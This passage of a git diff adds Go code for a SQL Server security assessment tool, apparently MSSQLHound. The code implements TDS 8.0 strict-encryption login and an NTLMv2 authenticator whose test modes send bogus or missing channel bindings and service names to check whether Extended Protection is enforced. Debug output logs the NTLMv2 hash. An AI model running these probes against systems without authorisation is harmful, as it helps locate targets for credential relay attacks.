error) { + offset := 0 + for offset < len(payload) { + if payload[offset] == 0xFF { + break + } + if offset+5 > len(payload) { + break + } + + token := payload[offset] + dataOffset := int(payload[offset+1])<<8 | int(payload[offset+2]) + dataLen := int(payload[offset+3])<<8 | int(payload[offset+4]) + + if token == 0x01 && dataLen >= 1 && dataOffset < len(payload) { + return payload[dataOffset], nil + } + + offset += 5 + } + return 0, fmt.Errorf("encryption option not found in PRELOGIN response") +} + +// extractSSPIToken extracts the NTLM challenge from a TDS response containing SSPI token. +// The SSPI token is returned as TDS_SSPI (0xED) token in the tabular result stream. +func extractSSPIToken(data []byte) []byte { + offset := 0 + for offset < len(data) { + tokenType := data[offset] + offset++ + + switch tokenType { + case tdsTokenSSPI: + // SSPI token: 2-byte length (LE) + payload + if offset+2 > len(data) { + return nil + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + if offset+length > len(data) { + return nil + } + return data[offset : offset+length] + + case tdsTokenError, tdsTokenInfo: + // Variable-length token with 2-byte length + if offset+2 > len(data) { + return nil + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + case tdsTokenEnvChange: + if offset+2 > len(data) { + return nil + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + case tdsTokenDone, tdsTokenDoneProc: + offset += 12 // fixed 12 bytes + + case tdsTokenLoginAck: + if offset+2 > len(data) { + return nil + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + default: + // Unknown token - try to skip (assume 2-byte length prefix) + if offset+2 > len(data) { + return nil + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + } + } + return nil +} + +// parseLoginTokens parses TDS response tokens to determine login success/failure. +func parseLoginTokens(data []byte) (bool, string) { + success := false + var errorMsg string + + offset := 0 + for offset < len(data) { + if offset >= len(data) { + break + } + tokenType := data[offset] + offset++ + + switch tokenType { + case tdsTokenLoginAck: + success = true + if offset+2 > len(data) { + return success, errorMsg + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + case tdsTokenError: + if offset+2 > len(data) { + return success, errorMsg + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + if offset+2+length <= len(data) { + errorMsg = parseErrorToken(data[offset+2 : offset+2+length]) + } + offset += 2 + length + + case tdsTokenInfo: + if offset+2 > len(data) { + return success, errorMsg + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + case tdsTokenEnvChange: + if offset+2 > len(data) { + return success, errorMsg + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + case tdsTokenDone, tdsTokenDoneProc: + if offset+12 <= len(data) { + offset += 12 + } else { + return success, errorMsg + } + + case tdsTokenSSPI: + if offset+2 > len(data) { + return success, errorMsg + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + default: + // Unknown token - try 2-byte length + if offset+2 > len(data) { + return success, errorMsg + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + } + } + + return success, errorMsg +} + +// parseErrorToken extracts the error message text from a TDS ERROR token payload. +// ERROR token format: Number(4) + State(1) + Class(1) + MsgTextLength(2) + MsgText(UTF16) + ... +func parseErrorToken(data []byte) string { + if len(data) < 8 { + return "" + } + // Skip Number(4) + State(1) + Class(1) = 6 bytes + msgLen := int(binary.LittleEndian.Uint16(data[6:8])) + if 8+msgLen*2 > len(data) { + return "" + } + // Decode UTF-16LE message text + msgBytes := data[8 : 8+msgLen*2] + runes := make([]uint16, msgLen) + for i := 0; i < msgLen; i++ { + runes[i] = binary.LittleEndian.Uint16(msgBytes[i*2 : i*2+2]) + } + return string(utf16.Decode(runes)) +} + +// runEPATestStrict performs an EPA test using the TDS 8.0 strict encryption flow. +// In TDS 8.0, TLS is established directly on the TCP socket before any TDS messages +// (like HTTPS), so PRELOGIN and all subsequent packets are sent through TLS. +// This is used when the server has "Enforce Strict Encryption" enabled and rejects +// cleartext PRELOGIN packets. +func runEPATestStrict(ctx context.Context, config *EPATestConfig) (*epaTestOutcome, byte, error) { + logf := func(format string, args ...interface{}) { + if config.Debug { + fmt.Printf(" [EPA-debug] "+format+"\n", args...) + } + } + + testModeNames := map[EPATestMode]string{ + EPATestNormal: "Normal", + EPATestBogusCBT: "BogusCBT", + EPATestMissingCBT: "MissingCBT", + EPATestBogusService: "BogusService", + EPATestMissingService: "MissingService", + } + + port := config.Port + if port == 0 { + port = 1433 + } + + logf("Starting EPA test mode=%s (TDS 8.0 strict) against %s:%d", testModeNames[config.TestMode], config.Hostname, port) + + // TCP connect + addr := fmt.Sprintf("%s:%d", config.Hostname, port) + var conn net.Conn + var err error + if config.ProxyDialer != nil { + dialAddr, resolveErr := resolveForProxy(ctx, config.Hostname, port) + if resolveErr != nil { + dialAddr = addr + } + logf("Dialing via proxy to %s (original: %s)", dialAddr, addr) + conn, err = config.ProxyDialer.DialContext(ctx, "tcp", dialAddr) + } else { + dialer := dialerWithResolver(config.DNSResolver, 10*time.Second) + conn, err = dialer.DialContext(ctx, "tcp", addr) + } + if err != nil { + return nil, 0, fmt.Errorf("TCP connect to %s failed: %w", addr, err) + } + defer conn.Close() + conn.SetDeadline(time.Now().Add(30 * time.Second)) + + // Step 1: TLS handshake directly on TCP (TDS 8.0 strict) + // Unlike TDS 7.x where TLS records are wrapped in TDS PRELOGIN packets, + // TDS 8.0 does a standard TLS handshake on the raw socket. + tlsConn, err := performDirectTLSHandshake(conn, config.Hostname) + if err != nil { + return nil, 0, fmt.Errorf("TLS handshake (strict): %w", err) + } + logf("TLS handshake complete (strict mode), cipher: 0x%04X", tlsConn.ConnectionState().CipherSuite) + + // Log certificate details for debugging proxy/routing issues + if state := tlsConn.ConnectionState(); len(state.PeerCertificates) > 0 { + cert := state.PeerCertificates[0] + certFingerprint := sha256.Sum256(cert.Raw) + logf("TLS cert subject: %s, issuer: %s, SHA256: %x", cert.Subject, cert.Issuer, certFingerprint[:8]) + } + + // Step 2: Compute channel binding hash (tls-unique for TLS 1.2, tls-server-end-point for TLS 1.3) + logf("TLS version: 0x%04X, TLSUnique: %x", tlsConn.ConnectionState().Version, tlsConn.ConnectionState().TLSUnique) + cbtHash, cbtType, err := getChannelBindingHashFromTLS(tlsConn) + if err != nil { + return nil, 0, fmt.Errorf("compute CBT: %w", err) + } + logf("CBT hash (%s): %x", cbtType, cbtHash) + + // Step 3: Send PRELOGIN through TLS (in strict mode, all TDS traffic is inside TLS) + preloginPayload := buildPreloginPacket() + preloginTDS := buildTDSPacketRaw(tdsPacketPrelogin, preloginPayload) + if _, err := tlsConn.Write(preloginTDS); err != nil { + return nil, 0, fmt.Errorf("send PRELOGIN (strict): %w", err) + } + + preloginResp, err := readTLSTDSPacket(tlsConn) + if err != nil { + return nil, 0, fmt.Errorf("read PRELOGIN response (strict): %w", err) + } + + encryptionFlag, err := parsePreloginEncryption(preloginResp) + if err != nil { + logf("Could not parse encryption flag from strict PRELOGIN response: %v (continuing)", err) + } else { + logf("Server encryption flag (strict): 0x%02X", encryptionFlag) + } + + // Step 4: Setup NTLM authenticator + spn := computeSPN(config.Hostname, port) + auth := newNTLMAuth(config.Domain, config.Username, config.Password, spn) + auth.SetEPATestMode(config.TestMode) + auth.SetChannelBindingHash(cbtHash) + if config.DisableMIC { + auth.SetDisableMIC(true) + logf("MIC DISABLED (diagnostic bypass)") + } + if config.UseRawTargetInfo { + auth.SetUseRawTargetInfo(true) + logf("RAW TARGET INFO MODE (no EPA modifications, no MIC)") + } + if config.UseClientTimestamp { + auth.SetUseClientTimestamp(true) + logf("CLIENT TIMESTAMP MODE (using time.Now() FILETIME)") + } + logf("SPN: %s, Domain: %s, User: %s", spn, config.Domain, config.Username) + + negotiateMsg := auth.CreateNegotiateMessage() + logf("Type1 negotiate message: %d bytes", len(negotiateMsg)) + + // Step 5: Build and send LOGIN7 with NTLM Type1 through TLS + login7 := buildLogin7Packet(config.Hostname, "MSSQLHound-EPA", config.Hostname, negotiateMsg) + login7TDS := buildTDSPacketRaw(tdsPacketLogin7, login7) + if _, err := tlsConn.Write(login7TDS); err != nil { + return nil, 0, fmt.Errorf("send LOGIN7 (strict): %w", err) + } + logf("Sent LOGIN7 (%d bytes with TDS header) (strict)", len(login7TDS)) + + // Step 6: Read server response (NTLM Type2 challenge) - always through TLS + responseData, err := readTLSTDSPacket(tlsConn) + if err != nil { + return nil, 0, fmt.Errorf("read challenge response (strict): %w", err) + } + logf("Received challenge response: %d bytes", len(responseData)) + + // Extract NTLM Type2 from SSPI token + challengeData := extractSSPIToken(responseData) + if challengeData == nil { + success, errMsg := parseLoginTokens(responseData) + logf("No SSPI token found, login result: success=%v, error=%q", success, errMsg) + return &epaTestOutcome{ + Success: success, + ErrorMessage: errMsg, + IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"), + IsLoginFailed: !strings.Contains(errMsg, "untrusted domain") && strings.Contains(errMsg, "Login failed for"), + }, encryptionFlag, nil + } + logf("Extracted NTLM Type2 challenge: %d bytes", len(challengeData)) + + // Step 7: Process challenge and generate Type3 + if err := auth.ProcessChallenge(challengeData); err != nil { + return nil, 0, fmt.Errorf("process NTLM challenge: %w", err) + } + logf("Server NetBIOS domain from Type2: %q (user-provided: %q)", auth.serverDomain, config.Domain) + logf("Server challenge: %x", auth.serverChallenge[:]) + logf("Server negotiate flags: 0x%08X", auth.negotiateFlags) + if auth.timestamp != nil { + logf("Server timestamp: %x", auth.timestamp) + } + logf("Auth domain for NTLMv2 hash: %q", auth.GetAuthDomain()) + logf("NTLMv2 hash: %s", auth.ComputeNTLMv2HashHex()) + + // Dump all AV_PAIRs from Type2 for debugging + for _, pair := range auth.GetTargetInfoPairs() { + if pair.ID == avIDMsvAvEOL { + logf(" AV_PAIR: %s", AVPairName(pair.ID)) + } else if pair.ID == avIDMsvAvTimestamp { + logf(" AV_PAIR: %s = %x", AVPairName(pair.ID), pair.Value) + } else if pair.ID == avIDMsvAvFlags { + logf(" AV_PAIR: %s = 0x%08x", AVPairName(pair.ID), pair.Value) + } else if pair.ID == avIDMsvAvNbComputerName || pair.ID == avIDMsvAvNbDomainName || + pair.ID == avIDMsvAvDNSComputerName || pair.ID == avIDMsvAvDNSDomainName || + pair.ID == avIDMsvAvDNSTreeName || pair.ID == avIDMsvAvTargetName { + logf(" AV_PAIR: %s = %q", AVPairName(pair.ID), decodeUTF16LE(pair.Value)) + } else { + logf(" AV_PAIR: %s (%d bytes)", AVPairName(pair.ID), len(pair.Value)) + } + } + + authenticateMsg, err := auth.CreateAuthenticateMessage() + if err != nil { + return nil, 0, fmt.Errorf("create NTLM authenticate: %w", err) + } + logf("Type3 authenticate message: %d bytes (mode=%s, disableMIC=%v)", len(authenticateMsg), testModeNames[config.TestMode], config.DisableMIC) + logf("Type1 hex: %s", hex.EncodeToString(auth.negotiateMsg)) + logf("Type3 hex (first 128 bytes): %s", hex.EncodeToString(authenticateMsg[:min(128, len(authenticateMsg))])) + + // Step 8: Send Type3 as TDS_SSPI through TLS + sspiTDS := buildTDSPacketRaw(tdsPacketSSPI, authenticateMsg) + if _, err := tlsConn.Write(sspiTDS); err != nil { + return nil, 0, fmt.Errorf("send SSPI auth (strict): %w", err) + } + logf("Sent Type3 SSPI (%d bytes with TDS header) (strict)", len(sspiTDS)) + + // Step 9: Read final response through TLS + responseData, err = readTLSTDSPacket(tlsConn) + if err != nil { + return nil, 0, fmt.Errorf("read auth response (strict): %w", err) + } + logf("Received auth response: %d bytes", len(responseData)) + + // Parse for LOGINACK or ERROR + success, errMsg := parseLoginTokens(responseData) + logf("Login result: success=%v, error=%q", success, errMsg) + return &epaTestOutcome{ + Success: success, + ErrorMessage: errMsg, + IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"), + IsLoginFailed: !strings.Contains(errMsg, "untrusted domain") && strings.Contains(errMsg, "Login failed for"), + }, encryptionFlag, nil +} + +// readTLSTDSPacket reads a complete TDS packet through TLS. +// When encryption is ENCRYPT_REQ, TDS packets are wrapped in TLS records. +func readTLSTDSPacket(tlsConn net.Conn) ([]byte, error) { + // Read TDS header through TLS + hdr := make([]byte, tdsHeaderSize) + n := 0 + for n < tdsHeaderSize { + read, err := tlsConn.Read(hdr[n:]) + if err != nil { + return nil, fmt.Errorf("read TDS header through TLS: %w", err) + } + n += read + } + + pktLen := int(binary.BigEndian.Uint16(hdr[2:4])) + if pktLen < tdsHeaderSize { + return nil, fmt.Errorf("TDS packet length %d too small", pktLen) + } + + payloadLen := pktLen - tdsHeaderSize + var payload []byte + if payloadLen > 0 { + payload = make([]byte, payloadLen) + n = 0 + for n < payloadLen { + read, err := tlsConn.Read(payload[n:]) + if err != nil { + return nil, fmt.Errorf("read TDS payload through TLS: %w", err) + } + n += read + } + } + + // Check if this is EOM + status := hdr[1] + if status&0x01 != 0 { + return payload, nil + } + + // Read more packets until EOM + for { + moreHdr := make([]byte, tdsHeaderSize) + n = 0 + for n < tdsHeaderSize { + read, err := tlsConn.Read(moreHdr[n:]) + if err != nil { + return nil, err + } + n += read + } + + morePktLen := int(binary.BigEndian.Uint16(moreHdr[2:4])) + morePayloadLen := morePktLen - tdsHeaderSize + if morePayloadLen > 0 { + morePay := make([]byte, morePayloadLen) + n = 0 + for n < morePayloadLen { + read, err := tlsConn.Read(morePay[n:]) + if err != nil { + return nil, err + } + n += read + } + payload = append(payload, morePay...) + } + + if moreHdr[1]&0x01 != 0 { + break + } + } + + return payload, nil +} + +// customResolver returns a *net.Resolver that uses the given DNS server IP, +// or nil if dnsResolver is empty (caller should use the default resolver). +func customResolver(dnsResolver string) *net.Resolver { + if dnsResolver == "" { + return net.DefaultResolver + } + return &net.Resolver{ + PreferGo: true, + Dial: func(ctx context.Context, network, address string) (net.Conn, error) { + d := net.Dialer{Timeout: 5 * time.Second} + return d.DialContext(ctx, "udp", net.JoinHostPort(dnsResolver, "53")) + }, + } +} + +// hostDialer wraps *net.Dialer to implement go-mssqldb's HostDialer interface. +// When go-mssqldb sees a HostDialer, it passes the hostname to DialContext +// instead of resolving it with net.LookupIP, allowing our custom net.Resolver +// to handle DNS resolution. +type hostDialer struct { + *net.Dialer +} + +func (d *hostDialer) HostName() string { return "" } + +// dialerWithResolver returns a dialer that uses the given DNS resolver IP. +// If dnsResolver is empty, the returned dialer uses the system default resolver. +// The returned type implements go-mssqldb's HostDialer interface so that +// go-mssqldb delegates DNS resolution to the dialer rather than using net.LookupIP. +func dialerWithResolver(dnsResolver string, timeout time.Duration) *hostDialer { + d := &net.Dialer{Timeout: timeout} + if dnsResolver != "" { + d.Resolver = customResolver(dnsResolver) + } + return &hostDialer{Dialer: d} +} + +// resolveForProxy resolves a hostname to an IP address for use with SOCKS proxies. +// SOCKS proxies often cannot resolve internal DNS names, but net.DefaultResolver +// is configured to route DNS queries through the proxy via TCP. +func resolveForProxy(ctx context.Context, hostname string, port int) (string, error) { + if net.ParseIP(hostname) != nil { + return fmt.Sprintf("%s:%d", hostname, port), nil + } + addrs, err := net.DefaultResolver.LookupHost(ctx, hostname) + if err != nil || len(addrs) == 0 { + return "", fmt.Errorf("failed to resolve %s: %w", hostname, err) + } + return fmt.Sprintf("%s:%d", addrs[0], port), nil +} diff --git a/go/internal/mssql/ntlm_auth.go b/go/internal/mssql/ntlm_auth.go new file mode 100644 index 0000000..da7c585 --- /dev/null +++ b/go/internal/mssql/ntlm_auth.go @@ -0,0 +1,696 @@ +// Package mssql - NTLMv2 authentication with controllable AV_PAIRs for EPA testing. +// Implements NTLM Type1/Type2/Type3 message generation with the ability to +// add, remove, or modify MsvAvChannelBindings and MsvAvTargetName AV_PAIRs. +package mssql + +import ( + "crypto/hmac" + "crypto/md5" + "crypto/rand" + "crypto/sha256" + "crypto/tls" + "crypto/x509" + "encoding/binary" + "fmt" + "strings" + "time" + "unicode/utf16" + + "golang.org/x/crypto/md4" +) + +// NTLM AV_PAIR IDs (MS-NLMP 2.2.2.1) +const ( + avIDMsvAvEOL uint16 = 0x0000 + avIDMsvAvNbComputerName uint16 = 0x0001 + avIDMsvAvNbDomainName uint16 = 0x0002 + avIDMsvAvDNSComputerName uint16 = 0x0003 + avIDMsvAvDNSDomainName uint16 = 0x0004 + avIDMsvAvDNSTreeName uint16 = 0x0005 + avIDMsvAvFlags uint16 = 0x0006 + avIDMsvAvTimestamp uint16 = 0x0007 + avIDMsvAvTargetName uint16 = 0x0009 + avIDMsvChannelBindings uint16 = 0x000A +) + +// NTLM negotiate flags +const ( + ntlmFlagUnicode uint32 = 0x00000001 + ntlmFlagOEM uint32 = 0x00000002 + ntlmFlagRequestTarget uint32 = 0x00000004 + ntlmFlagSign uint32 = 0x00000010 + ntlmFlagSeal uint32 = 0x00000020 + ntlmFlagNTLM uint32 = 0x00000200 + ntlmFlagAlwaysSign uint32 = 0x00008000 + ntlmFlagDomainSupplied uint32 = 0x00001000 + ntlmFlagWorkstationSupplied uint32 = 0x00002000 + ntlmFlagExtendedSessionSecurity uint32 = 0x00080000 + ntlmFlagTargetInfo uint32 = 0x00800000 + ntlmFlagVersion uint32 = 0x02000000 + ntlmFlag128 uint32 = 0x20000000 + ntlmFlagKeyExch uint32 = 0x40000000 + ntlmFlag56 uint32 = 0x80000000 +) + +// MsvAvFlags bit values +const ( + msvAvFlagMICPresent uint32 = 0x00000002 +) + +// NTLM message types +const ( + ntlmNegotiateType uint32 = 1 + ntlmChallengeType uint32 = 2 + ntlmAuthenticateType uint32 = 3 +) + +// EPATestMode controls what AV_PAIRs are included/excluded in the NTLM Type3 message. +type EPATestMode int + +const ( + // EPATestNormal includes correct CBT and service binding + EPATestNormal EPATestMode = iota + // EPATestBogusCBT includes incorrect CBT hash + EPATestBogusCBT + // EPATestMissingCBT excludes MsvAvChannelBindings AV_PAIR entirely + EPATestMissingCBT + // EPATestBogusService includes incorrect service name ("cifs") + EPATestBogusService + // EPATestMissingService excludes MsvAvTargetName and strips target service + EPATestMissingService +) + +// ntlmAVPair represents a single AV_PAIR entry in NTLM target info. +type ntlmAVPair struct { + ID uint16 + Value []byte +} + +// ntlmAuth handles NTLMv2 authentication with controllable EPA settings. +type ntlmAuth struct { + domain string + username string + password string + targetName string // SPN e.g. MSSQLSvc/hostname:port + + testMode EPATestMode + channelBindingHash []byte // 16-byte MD5 of SEC_CHANNEL_BINDINGS + disableMIC bool // When true, omit MsvAvFlags and MIC from Type3 (diagnostic bypass) + useRawTargetInfo bool // When true, use server's target info unmodified (no EPA, no MIC) - diagnostic baseline + useClientTimestamp bool // When true, use time.Now() instead of server's MsvAvTimestamp (diagnostic) + + // State preserved across message generation + negotiateMsg []byte + challengeMsg []byte // Raw Type2 bytes from server (needed for MIC computation) + serverChallenge [8]byte + targetInfoRaw []byte + negotiateFlags uint32 + timestamp []byte // 8-byte FILETIME from server + serverDomain string // NetBIOS domain name from Type2 MsvAvNbDomainName (for NTLMv2 hash) +} + +func newNTLMAuth(domain, username, password, targetName string) *ntlmAuth { + return &ntlmAuth{ + domain: domain, + username: username, + password: password, + targetName: targetName, + testMode: EPATestNormal, + } +} + +// SetEPATestMode configures how CBT and service binding are handled. +func (a *ntlmAuth) SetEPATestMode(mode EPATestMode) { + a.testMode = mode +} + +// SetChannelBindingHash sets the CBT hash computed from the TLS session. +func (a *ntlmAuth) SetChannelBindingHash(hash []byte) { + a.channelBindingHash = hash +} + +// SetDisableMIC disables MIC computation and MsvAvFlags in the Type3 message. +// This is a diagnostic tool to isolate whether incorrect MIC is causing auth failures. +func (a *ntlmAuth) SetDisableMIC(disable bool) { + a.disableMIC = disable +} + +// SetUseRawTargetInfo enables raw target info mode: uses the server's target info +// unmodified (no MsvAvFlags, no CBT, no SPN, no MIC). This matches go-mssqldb's +// baseline NTLM behavior and is used as a diagnostic to verify base NTLM auth works. +func (a *ntlmAuth) SetUseRawTargetInfo(raw bool) { + a.useRawTargetInfo = raw +} + +// SetUseClientTimestamp enables client-generated timestamp instead of server's +// MsvAvTimestamp. go-mssqldb uses time.Now() for the blob timestamp. This is a +// diagnostic to isolate timestamp-related auth failures. +func (a *ntlmAuth) SetUseClientTimestamp(use bool) { + a.useClientTimestamp = use +} + +// GetAuthDomain returns the domain that will be used for NTLMv2 hash computation. +func (a *ntlmAuth) GetAuthDomain() string { + return a.domain +} + +// ComputeNTLMv2HashHex returns the hex-encoded NTLMv2 hash for diagnostic logging. +func (a *ntlmAuth) ComputeNTLMv2HashHex() string { + hash := computeNTLMv2Hash(a.password, a.username, a.domain) + return fmt.Sprintf("%x", hash) +} + +// GetTargetInfoPairs returns the parsed AV_PAIRs from the server's Type2 target info +// for diagnostic logging. +func (a *ntlmAuth) GetTargetInfoPairs() []ntlmAVPair { + if a.targetInfoRaw == nil { + return nil + } + return parseAVPairs(a.targetInfoRaw) +} + +// AVPairName returns a human-readable name for an AV_PAIR ID. +func AVPairName(id uint16) string { + switch id { + case avIDMsvAvEOL: + return "MsvAvEOL" + case avIDMsvAvNbComputerName: + return "MsvAvNbComputerName" + case avIDMsvAvNbDomainName: + return "MsvAvNbDomainName" + case avIDMsvAvDNSComputerName: + return "MsvAvDNSComputerName" + case avIDMsvAvDNSDomainName: + return "MsvAvDNSDomainName" + case avIDMsvAvDNSTreeName: + return "MsvAvDNSTreeName" + case avIDMsvAvFlags: + return "MsvAvFlags" + case avIDMsvAvTimestamp: + return "MsvAvTimestamp" + case avIDMsvAvTargetName: + return "MsvAvTargetName" + case avIDMsvChannelBindings: + return "MsvAvChannelBindings" + default: + return fmt.Sprintf("Unknown(0x%04X)", id) + } +} + +// CreateNegotiateMessage builds NTLM Type1 (Negotiate) message. +// Uses minimal flags without domain payload. Including a domain in Type1 causes +// SQL Server to reject immediately with "untrusted domain" before even sending +// a Type2 challenge, so we omit it. The domain is provided in the Type3 message. +func (a *ntlmAuth) CreateNegotiateMessage() []byte { + flags := ntlmFlagUnicode | + ntlmFlagOEM | + ntlmFlagRequestTarget | + ntlmFlagNTLM | + ntlmFlagAlwaysSign | + ntlmFlagExtendedSessionSecurity | + ntlmFlagTargetInfo | + ntlmFlagVersion | + ntlmFlag128 | + ntlmFlag56 + + // Minimal Type1: signature(8) + type(4) + flags(4) + domain fields(8) + workstation fields(8) + version(8) + msg := make([]byte, 40) + copy(msg[0:8], []byte("NTLMSSP\x00")) + binary.LittleEndian.PutUint32(msg[8:12], ntlmNegotiateType) + binary.LittleEndian.PutUint32(msg[12:16], flags) + // Domain Name Fields (empty) + // Workstation Fields (empty) + // Version: 10.0.20348 (Windows Server 2022) + msg[32] = 10 // Major + msg[33] = 0 // Minor + binary.LittleEndian.PutUint16(msg[34:36], 20348) // Build + msg[39] = 0x0F // NTLMSSP revision + + a.negotiateMsg = make([]byte, len(msg)) + copy(a.negotiateMsg, msg) + return msg +} + +// ProcessChallenge parses NTLM Type2 (Challenge) and extracts server challenge, +// flags, and target info AV_PAIRs. +func (a *ntlmAuth) ProcessChallenge(challengeData []byte) error { + if len(challengeData) < 32 { + return fmt.Errorf("NTLM challenge too short: %d bytes", len(challengeData)) + } + + // Store raw challenge bytes for MIC computation (must use original bytes, not reconstructed) + a.challengeMsg = make([]byte, len(challengeData)) + copy(a.challengeMsg, challengeData) + + sig := string(challengeData[0:8]) + if sig != "NTLMSSP\x00" { + return fmt.Errorf("invalid NTLM signature") + } + + msgType := binary.LittleEndian.Uint32(challengeData[8:12]) + if msgType != ntlmChallengeType { + return fmt.Errorf("expected NTLM challenge (type 2), got type %d", msgType) + } + + // Server challenge at offset 24 (8 bytes) + copy(a.serverChallenge[:], challengeData[24:32]) + + // Negotiate flags at offset 20 + a.negotiateFlags = binary.LittleEndian.Uint32(challengeData[20:24]) + + // Target info fields at offsets 40-47 (if present) + if len(challengeData) >= 48 { + targetInfoLen := binary.LittleEndian.Uint16(challengeData[40:42]) + targetInfoOffset := binary.LittleEndian.Uint32(challengeData[44:48]) + + if targetInfoLen > 0 && int(targetInfoOffset)+int(targetInfoLen) <= len(challengeData) { + a.targetInfoRaw = make([]byte, targetInfoLen) + copy(a.targetInfoRaw, challengeData[targetInfoOffset:targetInfoOffset+uint32(targetInfoLen)]) + + // Extract timestamp and NetBIOS domain name from AV_PAIRs + pairs := parseAVPairs(a.targetInfoRaw) + for _, p := range pairs { + if p.ID == avIDMsvAvTimestamp && len(p.Value) == 8 { + a.timestamp = make([]byte, 8) + copy(a.timestamp, p.Value) + } + if p.ID == avIDMsvAvNbDomainName && len(p.Value) > 0 { + // Decode UTF-16LE domain name + a.serverDomain = decodeUTF16LE(p.Value) + } + } + } + } + + return nil +} + +// CreateAuthenticateMessage builds NTLM Type3 (Authenticate) message with +// controllable AV_PAIRs based on the test mode. +func (a *ntlmAuth) CreateAuthenticateMessage() ([]byte, error) { + if a.targetInfoRaw == nil { + return nil, fmt.Errorf("no target info available from challenge") + } + + // Generate client challenge (8 random bytes) + var clientChallenge [8]byte + if _, err := rand.Read(clientChallenge[:]); err != nil { + return nil, fmt.Errorf("generating client challenge: %w", err) + } + + // Determine which target info to use + var targetInfoForBlob []byte + if a.useRawTargetInfo { + // Diagnostic mode: use server's raw target info unmodified (like go-mssqldb) + targetInfoForBlob = a.targetInfoRaw + } else { + // Normal mode: build modified target info with EPA-controlled AV_PAIRs + targetInfoForBlob = a.buildModifiedTargetInfo() + } + + // Use server timestamp if available, otherwise generate one. + // When useClientTimestamp is set, generate a Windows FILETIME from time.Now() + // (this matches what some implementations like go-mssqldb do). + var timestamp []byte + if a.useClientTimestamp { + timestamp = make([]byte, 8) + // Windows FILETIME: 100-nanosecond intervals since January 1, 1601 + // Unix epoch is January 1, 1970 = 116444736000000000 FILETIME ticks + const windowsEpochDiff = 116444736000000000 + ft := uint64(time.Now().UnixNano()/100) + windowsEpochDiff + binary.LittleEndian.PutUint64(timestamp, ft) + } else if a.timestamp != nil { + timestamp = a.timestamp + } else { + timestamp = make([]byte, 8) + } + + // Compute NTLMv2 hash using the user-provided domain name. + // Although MS-NLMP Section 3.3.2 says "UserDom SHOULD be set to MsvAvNbDomainName", + // in practice Windows SSPI, go-mssqldb, and impacket all use the user-provided domain. + // The DC validates against the account's actual domain (stored as uppercase in AD), + // so the user-provided domain should match what the DC expects. + // Tested both "MAYYHEM" (user) and "mayyhem" (server) - neither helped, confirming + // the domain case is not the root cause of auth failures. + authDomain := a.domain + ntlmV2Hash := computeNTLMv2Hash(a.password, a.username, authDomain) + + // Build the NtChallengeResponse blob (NTLMv2_CLIENT_CHALLENGE / temp) + // Structure: ResponseType(1) + HiResponseType(1) + Reserved1(2) + Reserved2(4) + + // Timestamp(8) + ClientChallenge(8) + Reserved3(4) + TargetInfo + Reserved4(4) + blobLen := 28 + len(targetInfoForBlob) + 4 + blob := make([]byte, blobLen) + blob[0] = 0x01 // ResponseType + blob[1] = 0x01 // HiResponseType + copy(blob[8:16], timestamp) + copy(blob[16:24], clientChallenge[:]) + copy(blob[28:], targetInfoForBlob) + + // Compute NTProofStr = HMAC_MD5(NTLMv2Hash, ServerChallenge + Blob) + challengeAndBlob := make([]byte, 8+len(blob)) + copy(challengeAndBlob[:8], a.serverChallenge[:]) + copy(challengeAndBlob[8:], blob) + ntProofStr := hmacMD5Sum(ntlmV2Hash, challengeAndBlob) + + // NtChallengeResponse = NTProofStr + Blob + ntResponse := append(ntProofStr, blob...) + + // Session base key = HMAC_MD5(NTLMv2Hash, NTProofStr) + sessionBaseKey := hmacMD5Sum(ntlmV2Hash, ntProofStr) + + // LmChallengeResponse: compute LMv2 (HMAC_MD5(NTLMv2Hash, serverChallenge + clientChallenge) + clientChallenge) + // This matches go-mssqldb's behavior. + challengeAndNonce := make([]byte, 16) + copy(challengeAndNonce[:8], a.serverChallenge[:]) + copy(challengeAndNonce[8:], clientChallenge[:]) + lmHash := hmacMD5Sum(ntlmV2Hash, challengeAndNonce) + lmResponse := append(lmHash, clientChallenge[:]...) + + // Use the server's negotiate flags from Type2 in Type3 (matching go-mssqldb behavior). + // The server sends its supported flags in the challenge; the client echoes them back + // to indicate agreement on the negotiated capabilities. + flags := a.negotiateFlags + + // Build Type3 message (use same authDomain for consistency) + domain16 := encodeUTF16LE(authDomain) + user16 := encodeUTF16LE(a.username) + workstation16 := encodeUTF16LE("") // empty workstation + + lmLen := len(lmResponse) + ntLen := len(ntResponse) + domainLen := len(domain16) + userLen := len(user16) + wsLen := len(workstation16) + + // Determine whether to include MIC. + // MIC is included when we modify target info (EPA modes) and MIC is not explicitly disabled. + // Raw target info mode acts like go-mssqldb: 88-byte header with zeroed MIC, no computation. + includeMIC := !a.disableMIC && !a.useRawTargetInfo + + // Always use 88-byte header (matching go-mssqldb) to include the MIC field. + // Even when MIC is not computed, the field is present but zeroed. + headerSize := 88 + totalLen := headerSize + lmLen + ntLen + domainLen + userLen + wsLen + + msg := make([]byte, totalLen) + copy(msg[0:8], []byte("NTLMSSP\x00")) + binary.LittleEndian.PutUint32(msg[8:12], ntlmAuthenticateType) + + offset := uint32(headerSize) + + // LmChallengeResponse fields + binary.LittleEndian.PutUint16(msg[12:14], uint16(lmLen)) + binary.LittleEndian.PutUint16(msg[14:16], uint16(lmLen)) + binary.LittleEndian.PutUint32(msg[16:20], offset) + copy(msg[offset:], lmResponse) + offset += uint32(lmLen) + + // NtChallengeResponse fields + binary.LittleEndian.PutUint16(msg[20:22], uint16(ntLen)) + binary.LittleEndian.PutUint16(msg[22:24], uint16(ntLen)) + binary.LittleEndian.PutUint32(msg[24:28], offset) + copy(msg[offset:], ntResponse) + offset += uint32(ntLen) + + // Domain name fields + binary.LittleEndian.PutUint16(msg[28:30], uint16(domainLen)) + binary.LittleEndian.PutUint16(msg[30:32], uint16(domainLen)) + 